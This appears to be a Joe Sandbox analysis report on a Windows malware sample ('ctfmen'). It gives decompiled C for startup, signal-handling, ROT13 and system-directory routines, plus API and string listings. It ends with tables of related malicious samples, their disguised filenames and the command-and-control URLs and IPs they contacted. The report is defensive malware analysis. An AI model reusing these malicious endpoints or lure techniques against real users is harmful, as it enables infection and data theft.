				short _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char _v112;
				short _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				char _v192;
				int _v196;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				void* __ebx;
				char _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				signed int _t68;
				intOrPtr _t71;
				void* _t72;
				signed char _t90;
				char _t93;
				intOrPtr _t94;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				void* _t107;
				signed int _t108;
				signed int _t114;
				void* _t118;
				signed int _t119;
				signed int _t124;
				signed int _t127;
				struct _IO_FILE* _t131;
				struct _IO_FILE* _t133;
				signed int* _t134;
				intOrPtr* _t135;
				intOrPtr* _t137;
				intOrPtr* _t138;
				signed int* _t139;

				_pop(_t130);
				_t131 = _t133;
				_push(_t107);
				_t134 = _t133 - 0xcc;
				if( *0x404058 == 0) {
					_v112 = 0x41414141;
					_t58 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
					_t127 =  &_v112;
					_v108 = 0x41414141;
					_v104 = 0x41414141;
					_v80 = _t58;
					_t59 = M00403054; // 0x57434347
					_v100 = 0x41414141;
					_v96 = 0x41414141;
					_v76 = _t59;
					_t60 = M00403058; // 0x452d3233
					_v92 = 0x41414141;
					_v88 = 0x41414141;
					_v72 = _t60;
					_t61 = M0040305C; // 0x2d322d48
					_v84 = 0x41414141;
					_v68 = _t61;
					_t62 = M00403060; // 0x4a4c4a53
					_v64 = _t62;
					_t63 = M00403064; // 0x4854472d
					_v60 = _t63;
					_t64 = M00403068; // 0x494d2d52
					_v56 = _t64;
					_t65 =  *0x40306c; // 0x3357474e
					_v52 = _t65;
					_v48 =  *0x403070 & 0x0000ffff;
					 *_t134 = _t127;
					_t68 = FindAtomA(??) & 0x0000ffff;
					_t135 = _t134 - 4;
					_v196 = _t68;
					if(_t68 != 0) {
						L11:
						_t108 = E004016E0(_t68, _t107);
					} else {
						 *_t135 = 0x3c;
						_t72 = malloc(??);
						_t108 = _t72;
						if(_t72 == 0) {
							abort();
							0;
							0;
							_t137 = _t135 - 0x18;
							_v232 = _v204;
							_v236 = _v208;
							_v240 = _v212;
							_v244 = _v216;
							 *_t137 =  *0x405110 + 0x40;
							fprintf(??, ??);
							 *_t137 =  *0x405110 + 0x40;
							fflush(_t131);
							abort();
							0;
							goto ( *0x40510c);
						}
						asm("cld");
						memset(_t72, _v196, 0xf << 2);
						_t138 = _t135 + 0xc;
						 *((intOrPtr*)(_t108 + 4)) = L00401A60;
						_t114 = 1;
						 *((intOrPtr*)(_t108 + 8)) = E004016D0;
						 *_t108 = 0x3c;
						 *((intOrPtr*)(_t108 + 0x28)) = 0;
						 *((intOrPtr*)(_t108 + 0x14)) =  *0x404028;
						 *((intOrPtr*)(_t108 + 0x18)) =  *0x40402c;
						 *((intOrPtr*)(_t108 + 0x1c)) =  *0x40200c;
						 *((intOrPtr*)(_t108 + 0x20)) =  *0x402010;
						 *((intOrPtr*)(_t108 + 0x30)) = 0xffffffff;
						 *((intOrPtr*)(_t108 + 0x2c)) =  *0x404038;
						 *((intOrPtr*)(_t108 + 0x38)) =  *0x402018;
						_t118 = 0x1f;
						 *((intOrPtr*)(_t108 + 0x34)) =  *0x402014;
						do {
							_t90 = _t108 & _t114;
							asm("sbb eax, eax");
							_t114 = _t114 + _t114;
							 *((char*)(_t118 +  &_v192)) = (_t90 & 0x00000020) + 0x41;
							_t118 = _t118 - 1;
						} while (_t118 >= 0);
						_t93 = "-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32"; // 0x42494c2d
						_v160 = _t93;
						_t94 = M00403054; // 0x57434347
						_v156 = _t94;
						_t95 = M00403058; // 0x452d3233
						_v152 = _t95;
						_t96 = M0040305C; // 0x2d322d48
						_v148 = _t96;
						_t97 = M00403060; // 0x4a4c4a53
						_v144 = _t97;
						_t98 = M00403064; // 0x4854472d
						_v140 = _t98;
						_t99 = M00403068; // 0x494d2d52
						_v136 = _t99;
						_t100 =  *0x40306c; // 0x3357474e
						_v132 = _t100;
						_v128 =  *0x403070 & 0x0000ffff;
						 *_t138 =  &_v192;
						_t124 = AddAtomA(??) & 0x0000ffff;
						_t139 = _t138 - 4;
						if(_t124 != 0) {
							_t105 = E004016E0(_t124, _t108);
							_t119 = _t124;
							if(_t105 != _t108) {
								goto L8;
							} else {
								goto L9;
							}
							goto L18;
						} else {
							L8:
							_t119 = 0;
						}
						L9:
						if(_t119 == 0) {
							 *_t139 = _t108;
							L00401A50();
							 *_t139 = _t127;
							_t68 = FindAtomA(??) & 0x0000ffff;
							goto L11;
						}
					}
					 *0x404058 = _t108;
					_t46 = _t108 + 4; // 0x4
					 *0x404048 = _t46;
					_t47 = _t108 + 8; // 0x8
					_t71 = _t47;
					 *0x404068 = _t71;
					return _t71;
				} else {
					return __eax;
				}
				L18:
			}

0x004012e3
0x00401781
0x00401785
0x00401786
0x00401794
0x0040179e
0x004017a5
0x004017aa
0x004017ad
0x004017b4
0x004017bb
0x004017be
0x004017c3
0x004017ca
0x004017d1
0x004017d4
0x004017d9
0x004017e0
0x004017e7
0x004017ea
0x004017ef
0x004017f6
0x004017f9
0x004017fe
0x00401801
0x00401806
0x00401809
0x0040180e
0x00401811
0x00401816
0x00401820
0x00401824
0x0040182d
0x00401830
0x00401835
0x0040183b
0x0040197c
0x00401981
0x00401841
0x00401841
0x00401848
0x0040184f
0x00401851
0x004019b0
0x004019bb
0x004019bf
0x004019c3
0x004019c9
0x004019d0
0x004019d7
0x004019de
0x004019ea
0x004019ed
0x004019fa
0x004019fd
0x00401a02
0x00401a0d
0x00401a10
0x00401a10
0x00401857
0x00401865
0x00401865
0x00401867
0x0040186e
0x00401873
0x0040187f
0x0040188b
0x00401892
0x0040189a
0x004018a3
0x004018ab
0x004018ae
0x004018b5
0x004018c3
0x004018c6
0x004018cb
0x004018d0
0x004018d2
0x004018d7
0x004018db
0x004018df
0x004018e6
0x004018e6
0x004018e9
0x004018ee
0x004018f4
0x004018f9
0x004018ff
0x00401904
0x0040190a
0x0040190f
0x00401915
0x0040191a
0x00401920
0x00401925
0x0040192b
0x00401930
0x00401933
0x00401938
0x00401942
0x0040194c
0x00401955
0x00401958
0x0040195d
0x004019a3
0x004019aa
0x004019ac
0x00000000
0x004019ae
0x00000000
0x004019ae
0x00000000
0x0040195f
0x0040195f
0x0040195f
0x0040195f
0x00401961
0x00401963
0x00401965
0x00401968
0x0040196d
0x00401979
0x00000000
0x00401979
0x00401963
0x00401983
0x00401989
0x0040198c
0x00401991
0x00401991
0x00401994
0x004019a0
0x00401796
0x0040179d
0x0040179d
0x00000000

APIs

FindAtomA.KERNEL32 ref: 00401827
malloc.MSVCRT ref: 00401848
AddAtomA.KERNEL32 ref: 0040194F

Strings

AAAA, xrefs: 004017CA
-LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32, xrefs: 004017A5, 004018E9
AAAA, xrefs: 004017D9
AAAA, xrefs: 004017B4
AAAA, xrefs: 004017E0
AAAA, xrefs: 0040179E
AAAA, xrefs: 004017C3
AAAA, xrefs: 004017EF
AAAA, xrefs: 004017AD

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: 9bb77c504e8466537b62264a3fde08d89e2489709f92c9f29974dc0d1c8e0025
Instruction ID: 2b020eeaefe081e10e1e4b8acb93412c82cc4b82683bdaf15cb7f55dcf55b0e0
Opcode Fuzzy Hash: 9bb77c504e8466537b62264a3fde08d89e2489709f92c9f29974dc0d1c8e0025
Instruction Fuzzy Hash: 9A6113B4A013048FDB50DF69DA84699BBF4FB48311F14817AE948FB369E3349A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 9.1, APIs: 6, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00401000(intOrPtr __ebx, intOrPtr __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v24;
				intOrPtr* _t16;
				intOrPtr* _t27;
				intOrPtr* _t33;
				intOrPtr* _t37;

				_v12 = __ebx;
				_t27 = 0;
				_v8 = __esi;
				_t33 = 0;
				_t16 =  *((intOrPtr*)( *_a4));
				if(_t16 > 0xc0000091) {
					__eflags = _t16 - 0xc0000094;
					if(__eflags == 0) {
						goto L3;
					} else {
						if(__eflags > 0) {
							__eflags = _t16 - 0xc0000096;
							goto L14;
						} else {
							__eflags = _t16 - 0xc0000093;
							if(_t16 == 0xc0000093) {
								goto L2;
							} else {
								return 0;
							}
						}
					}
				} else {
					if(_t16 < 0xc000008d) {
						__eflags = _t16 - 0xc0000005;
						if(_t16 == 0xc0000005) {
							 *_t37 = 0xb;
							_v24 = 0;
							L00401A20();
							__eflags = 0 - 1;
							if(0 == 1) {
								 *_t37 = 0xb;
								_v24 = 1;
								L00401A20();
								goto L6;
							} else {
								__eflags = 0;
								if(0 != 0) {
									 *_t37 = 0xb;
									 *0x00000000();
									goto L6;
								}
							}
						} else {
							__eflags = _t16 - 0xc000001d;
							L14:
							if(__eflags == 0) {
								 *_t37 = 4;
								_v24 = 0;
								L00401A20();
								__eflags = _t16 - 1;
								if(_t16 == 1) {
									 *_t37 = 4;
									_v24 = 1;
									L00401A20();
									goto L6;
								} else {
									__eflags = _t16;
									if(_t16 != 0) {
										 *_t37 = 4;
										 *_t16();
										goto L6;
									}
								}
							}
						}
					} else {
						L2:
						_t33 = 1;
						L3:
						 *_t37 = 8;
						_v24 = 0;
						L00401A20();
						if(_t16 == 1) {
							 *_t37 = 8;
							_v24 = 1;
							L00401A20();
							__eflags = _t33;
							if(_t33 != 0) {
								E004016C0(1);
							}
							goto L6;
						} else {
							if(_t16 != 0) {
								 *_t37 = 8;
								 *_t16();
								L6:
								_t27 = 0xffffffff;
							}
						}
					}
					return _t27;
				}
			}

APIs

signal.MSVCRT ref: 00401037
signal.MSVCRT ref: 0040109B
signal.MSVCRT ref: 004010CB

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 6491c55a715dcf65c1e257190edccd3021d22718810e5eb61bd8e24d4d4f1f9f
Instruction ID: 47ce695c1395704ccb81a73c81f467802b35334def71841aa4f43a7f14f2efec
Opcode Fuzzy Hash: 6491c55a715dcf65c1e257190edccd3021d22718810e5eb61bd8e24d4d4f1f9f
Instruction Fuzzy Hash: FF3141B0A052448BD720AF69C58032EB6E0BB09354F15897FE9C5E77E1C67E8CC09B4A

Uniqueness

Uniqueness Score: -1.00%

Function 004016E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetAtomNameA.KERNEL32 ref: 004016FF

Part of subcall function 004019C0: fprintf.MSVCRT ref: 004019ED
Part of subcall function 004019C0: fflush.MSVCRT ref: 004019FD
Part of subcall function 004019C0: abort.MSVCRT(?,?,?,?,?,0040175E), ref: 00401A02

Strings

GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 0040175E
../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 00401750
%s:%u: failed assertion `%s', xrefs: 00401749
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 00401737

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: %s:%u: failed assertion `%s'$../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2696369246
Opcode ID: 1ee133213eec0f415dbf658d5e2a3167dc8e3140809c25750031008dad7e8e00
Instruction ID: 5a798c4c6fa75a3496ce2cab74e3f0a8b1e10c659dbc764924acd0a29a411e56
Opcode Fuzzy Hash: 1ee133213eec0f415dbf658d5e2a3167dc8e3140809c25750031008dad7e8e00
Instruction Fuzzy Hash: 5E0152B0A043419BDB149F69C08422ABFE4EB94345F10C83FE589AB7A5D27DC941DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00401324 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401324(void* __eflags, char _a4) {
				void* _v16;
				char _v48;
				char _v80;
				void* _t19;
				void* _t20;
				char _t28;
				char _t33;
				void* _t38;
				void* _t39;

				_t38 =  &_v80;
				_t39 =  &_v48;
				_t28 = _a4;
				memcpy(_t39, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 0x1b);
				memcpy(_t38, "abcdefghijklmnopqrstuvwxyz", 0x1b);
				_t19 = E004012F0(_t39, _t28);
				if(_t19 == 0) {
					_t20 = E004012F0(_t38, _t28);
					_t33 = _t28;
					if(_t20 != 0) {
						asm("cdq");
						_t33 =  *((char*)((_t20 - _t38 + 0xd) % 0x1a +  &_v80));
					}
				} else {
					asm("cdq");
					_t33 =  *((char*)((_t19 - _t39 + 0xd) % 0x1a +  &_v48));
				}
				return _t33;
			}

0x00401328
0x0040132c
0x0040133b
0x0040133f
0x0040134c
0x00401353
0x0040135d
0x00401377
0x0040137f
0x00401382
0x00401390
0x00401393
0x00401393
0x0040135f
0x0040136b
0x0040136e
0x0040136e
0x004013a1

APIs

memcpy.MSVCRT ref: 0040133F
memcpy.MSVCRT ref: 0040134C

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 00401346
ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00401335

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: memcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ$abcdefghijklmnopqrstuvwxyz
API String ID: 3510742995-4170113403
Opcode ID: 6c292da48972d264751d7bbdcac31dfea94ddd27b6f6ee797df720d1e9c7b4fe
Instruction ID: 7d17000c2f09d8a429465d5ab099176f688db3b50f2b54f17446f46e168fb709
Opcode Fuzzy Hash: 6c292da48972d264751d7bbdcac31dfea94ddd27b6f6ee797df720d1e9c7b4fe
Instruction Fuzzy Hash: 88012B72F0621922E71455BE5C42BBF7A6E8BCA305F14807BF810B19C6C67CDE0212A9

Uniqueness

Uniqueness Score: -1.00%

Function 004013CC Relevance: 6.0, APIs: 4, Instructions: 28
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E004013CC(CHAR* _a4, signed int _a8, intOrPtr _a12) {
				void* _v12;
				int _t11;
				CHAR* _t13;

				asm("cld");
				_t13 = _a4;
				memset(_t13, 0, _a8 << 0);
				_t11 = GetSystemDirectoryA(_t13, _a8);
				_push(_t13);
				L00401A90();
				if(_t13[_t11 - 1] != 0x5c) {
					_push(0x403036);
					_push(_t13);
					L00401A98();
				}
				_push(_a12);
				_push(_t13);
				L00401A98();
				return _t11;
			}

0x004013cd
0x004013d5
0x004013dc
0x004013e2
0x004013e7
0x004013e8
0x004013f2
0x004013f4
0x004013f9
0x004013fa
0x004013fa
0x004013ff
0x00401402
0x00401403
0x0040140e

APIs

GetSystemDirectoryA.KERNEL32(?,?), ref: 004013E2
lstrlen.KERNEL32(?,?,?,?,0040144A,?,000000C8,?,?,fzaff.rkr), ref: 004013E8
lstrcat.KERNEL32(?,00403036), ref: 004013FA
lstrcat.KERNEL32(?,000000C8), ref: 00401403

Memory Dump Source

Source File: 00000009.00000002.304610622.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.304595022.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304624504.0000000000403000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304637974.0000000000405000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.304650728.0000000000407000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_ctfmen.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlen
String ID:
API String ID: 3692445580-0
Opcode ID: f6e07c299ec493689eb8d796aa5aaf7f4d2c1ab6089d07d3808badf12fab5d33
Instruction ID: ee4f3b154ff9c557860304a6dc4c68e4ea2146a5b4c228ad87cd1209cd76fe63
Opcode Fuzzy Hash: f6e07c299ec493689eb8d796aa5aaf7f4d2c1ab6089d07d3808badf12fab5d33
Instruction Fuzzy Hash: E7E092716013087BCB10EEA6CC81D9E7B5D9F58369B00442ABA09621A3CA3E85504B24

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
81.17.29.150	dhl awb 3452778287 notification of shippment,pdf.exe	Get hash	malicious	Browse	www.mymcdsteam.com/nrln/?PF=4hTl22yx0jbX6&Q41POf=0SaqTxJcRJWkyehWW3/hso9MZLYrJuBx3GU00ypoFZtdnrHBIi36Pu8xXGKSlqx+bR5DY3rucn3zCffZ78cdLUG8vB/XDwyfBg==
	DHL EXPRESS LEVERINGSBERICHT VOOR,pdf.exe	Get hash	malicious	Browse	www.mymcdsteam.com/nrln/?NVLhQ=0SaqTxJcRJWkyehWW3/hso9MZLYrJuBx3GU00ypoFZtdnrHBIi36Pu8xXGKSlqx+bR5DY3rucn3zCffZ78ceC3H7kTWiFW66Aw==&-Z8T0d=OH2pOJYPgHUxBv
	PO 20002001.exe	Get hash	malicious	Browse	www.extremebean.co.uk/8h9m/?FP=3ZrHE2wXUDIFacHKiu0ZUSnXYmBJI1YLZ1xCLszjtAy+Ahsm1CiwdqbSFIBONEts2iJDhtiBJwlaK7rQUHTuNRtymqYS+eNPOw==&Vxld=q2JhAP
	DOCUMENTO DE RECEPCI#U00d3N AWB DHL57804239,pdf (2).exe	Get hash	malicious	Browse	www.mymcdsteam.com/nrln/?u0Dx=_p68s4PHkrN&BJE=0SaqTxJcRJWkyehWW3/hso9MZLYrJuBx3GU00ypoFZtdnrHBIi36Pu8xXGKSlqx+bR5DY3rucn3zCffZ78cdLWHmxyXXCw6XBg==
	Neue_Ordnung1414.exe	Get hash	malicious	Browse	www.piobellas.com/bwak/?ETgD=K3BOvN3dWtyXrM7ff+E0SZjVM3GMLD5QXR4tq1n06UXkhfb5LP+FJOa9kvsw837276vRX3X7J9avF+tcPYionVc7nIG1OxXY2Q==&4h=RFQtgj08x6Ptwxs
	WJJKxcSc00.exe	Get hash	malicious	Browse	www.nicolewebcamsjoinnow.com/nogs/?C6zh=s6bXuB6p&aPYXPL=tp71maUyQyJ2wnNMJzjKfXCbcpPg1a1cB8K+1XBhHbg/z4cXSBwr5gMp/G8LUVPoIwxQLR76OCKZCNUtXEZ9BnOJXBaS6iAjxzzngNg5R94p
	Ordine R04-T4077 TBA-2022, pdf.exe	Get hash	malicious	Browse	www.tattoobylompre.com/e65x/?-ZYH=spAQJpAunfYy6DJBdli4jU9riq7s/T+5YXDdHfKjymYPIm9TAlGWUFFfl8UZ4sjuSf0C3Pj/I7G5d4EE2NbT0pj+FtuTi4uP+g==&DZT=uVMd
	aAP32K91Qx.exe	Get hash	malicious	Browse	purycap.com/login.php
	dumpekarakter.exe	Get hash	malicious	Browse	www.faktorwillowridge.com/ndp0/?VFNtBnHh=sv2RT1I2DJIyOJlYoQmYE9eA0PtyY/yybQbCSoRogtkUB2ckofcThU2gsU1lPt8InGVRteEF5UnUorScJFDxMO42cnF/V8/D9A==&h6G4b=GpHhlT_PkLi4
	7032107020.exe	Get hash	malicious	Browse	www.peacockgotv.com/tn61/?Xjx=GDHT&1bDp-=nkbFe9+FJU4/vPjjzzWTOSJszgaXlL7u8oADOOW7Yip7xWPLCE8VxmOqSBXUcV/OeNAU
	SecuriteInfo.com.Variant.MSILHeracles.36859.7349.exe	Get hash	malicious	Browse	www.peacockgotv.com/tn61/?oL3LlJe=nkbFe9+FJU4/vPjjzzWTOSJszgaXlL7u8oADOOW7Yip7xWPLCE8VxmOqSBXUcV/OeNAU&l0Dlp=cZ2PFFnHMnDxhx
	aWhm2YQUcy.exe	Get hash	malicious	Browse	www.toddlyonsfishing.com/3a4h/?3fFL=KDKpMJdXM8kpAN9P&nZtHA=fxtae0ACJqRg/0LJq+BVv36pDh0ZOXzm2q/3swkvCFASY/Q6fr5X8NDgifdc1u1OAFbb
	681567E74B733E2EE8062632AB20563F457EA376F1FA6.exe	Get hash	malicious	Browse	buyandsmile.atomclick.co/pony/gate.php
	fu3sfo8XGK.exe	Get hash	malicious	Browse	fortillinco.com/raeymnbvcxz/index.php
	PROFOMA INVOICE NO2021TD24 PDF.exe	Get hash	malicious	Browse	www.accountmangerford.com/ssee/?MBZp=A0DTKVI&k0GDpTe=sx/1qvn2k9W1GCRw9Meoij1WSTYLQZVa8xOc2mxordv+lxsJUtnaT4HG6Ol9djdZkVcP
	INVOICE_90990_PDF.exe	Get hash	malicious	Browse	www.zombiguitar.com/usvr/?mN9d3vF=mSPJpO37iDi/JJOtFEB7cPoDq+rcFEXmmeg8f//WLLXT9MV2z86QjVFC/G6KvJkMQ56/&Pjf81=-Zdd-V5hqhM4p2S
	Banco do Brasil_eDeclara#U00e7#U00e3o_SMX_046_6-08-2021_SWIFT.COPY.exe	Get hash	malicious	Browse	www.davidcavanaghreplays.com/chad/?oXk4W=GgYSJSvMHsKMFJO0ibNkRuU2eCxVRUw1nNslK6tJxGgbeBsaXERfP4haYtmoCzHCd3w8&Wxlp=JlrHNvBX8PPd
	vbc.exe	Get hash	malicious	Browse	www.chanek4.com/att3/?JL08lH=PtsJsfmLnlGcc8oAUO2qH1sUTLjvoHPXhm+BWlbc0OJ+efHHuxe2x+lBsbLPmCwxxgby&D4=1b_X3Nx8j8V

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mx1.riseup.net	document.txt .exe	Get hash	malicious	Browse	198.252.153.129
	Update-KB7390-x86.exe	Get hash	malicious	Browse	198.252.153.129
	doc.msg.exe	Get hash	malicious	Browse	198.252.153.129
	body.elm.exe	Get hash	malicious	Browse	198.252.153.129
	lsass(1).exe	Get hash	malicious	Browse	198.252.153.129
	.exe	Get hash	malicious	Browse	198.252.153.129
	1aboutyou_trash.ht.exe	Get hash	malicious	Browse	198.252.153.129
	39final_nomone.exe	Get hash	malicious	Browse	198.252.153.129
	62naked1.rtf.exe	Get hash	malicious	Browse	198.252.153.129
	8postin.exe	Get hash	malicious	Browse	198.252.153.129
	44regid.rtf.exe	Get hash	malicious	Browse	198.252.153.129
	57part2.tx.exe	Get hash	malicious	Browse	198.252.153.129
	33more.rt.exe	Get hash	malicious	Browse	198.252.153.129
	72naked.exe	Get hash	malicious	Browse	198.252.153.129
	70creditcar.exe	Get hash	malicious	Browse	198.252.153.129
	32schock_number_phon.exe	Get hash	malicious	Browse	198.252.153.129
	17attachment_ps.tx.exe	Get hash	malicious	Browse	198.252.153.129
	21injection_information.do.exe	Get hash	malicious	Browse	198.252.153.129
	3posting_old_photos.exe	Get hash	malicious	Browse	198.252.153.129
	49trash_secrets.doc.exe	Get hash	malicious	Browse	198.252.153.129

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://1drv.ms/u/s!AnvIaEvFRyO2ih-Cx3z-qn6Ff4_k?e=FJjf9w	Get hash	malicious	Browse	20.135.25.0
	https://1drv.ms/u/s!AnvIaEvFRyO2ih-Cx3z-qn6Ff4_k?e=FJjf9w	Get hash	malicious	Browse	13.104.158.179
	https://jsdeanlosphysic.de/	Get hash	malicious	Browse	204.79.197.200
	https://drive.google.com/uc?id=1To2wvSJq6XFlRPvX8aeGqOmuB1n_3grm&export=download	Get hash	malicious	Browse	51.142.119.24
	#U260e#Ufe0f message 907422.htm	Get hash	malicious	Browse	13.107.213.45
	#U260e#Ufe0f message 907422.htm	Get hash	malicious	Browse	13.107.227.45
	8Db6tu4gc07hFSy.exe	Get hash	malicious	Browse	20.239.68.153
	SecuriteInfo.com.W32.Injector.ESFA.tr.9234.20511.exe	Get hash	malicious	Browse	20.12.20.153
	Revised PO & New RFQ.exe	Get hash	malicious	Browse	13.107.43.12
	4uE3D5EquK.elf	Get hash	malicious	Browse	20.15.12.215
	NBHQDUkuK8.elf	Get hash	malicious	Browse	137.135.70.164
	l2Y7IFFbax.elf	Get hash	malicious	Browse	20.71.144.213
	bRAkcWOkNA.elf	Get hash	malicious	Browse	20.68.202.26
	file.exe	Get hash	malicious	Browse	40.93.207.1
	file.exe	Get hash	malicious	Browse	104.47.53.36
	file.exe	Get hash	malicious	Browse	104.47.53.36
	file.exe	Get hash	malicious	Browse	52.101.40.29
	file.exe	Get hash	malicious	Browse	52.101.40.29
	ascaris.x86.elf	Get hash	malicious	Browse	52.108.27.46
	file.exe	Get hash	malicious	Browse	40.126.31.73
PLI-ASCH	file.exe	Get hash	malicious	Browse	179.43.154.149
	plNPQ5etZ3.exe	Get hash	malicious	Browse	179.43.140.174
	Ld2f3BHF1O.exe	Get hash	malicious	Browse	179.43.163.104
	https://consultant.meredithklemmblog.com/	Get hash	malicious	Browse	179.43.133.61
	E1088C0A7C4152188FF7A8383956CB3B4E912BEF7E4C4.exe	Get hash	malicious	Browse	81.17.29.146
	5mb6kYUFwd.exe	Get hash	malicious	Browse	81.17.18.197
	QUOTE REQUEST _ref(0112)_Pdf__.exe	Get hash	malicious	Browse	81.17.18.198
	https://track.techrepublic.com/?xtl=qosc6e0r33m7rzh2dl246vqaz5uc90nw2ne90005cu1snk8zg1y3vp9knzbtn0ypf5aonm0k6r9jquc207c6aapbm&eih=i3yfivlbvjsly8emik94zuvtkpfth0qlgteeidgouxfi2jjehgla3t0xm8&originalclickurl=http://d8wsKwg7.5bLghZYo.fuoficios.com.ar/Lt1qlVu5/aHR0cHM6Ly9ncmV5Y29tcGxjZS5jb20vZmlsZS9ISlJSLUROVTQtNEJOMy82NzkvdXNlci9jb21wdGFAYW1lbmFnZW1lbnQtbWFsaXRvdXJuZS5mcg==	Get hash	malicious	Browse	190.211.254.196
	B4giNA90C4.exe	Get hash	malicious	Browse	81.17.29.147
	ROGdemGOqw.exe	Get hash	malicious	Browse	81.17.29.148
	ORDER CONFIRMATION_AP65425652_032421.exe	Get hash	malicious	Browse	81.17.18.195
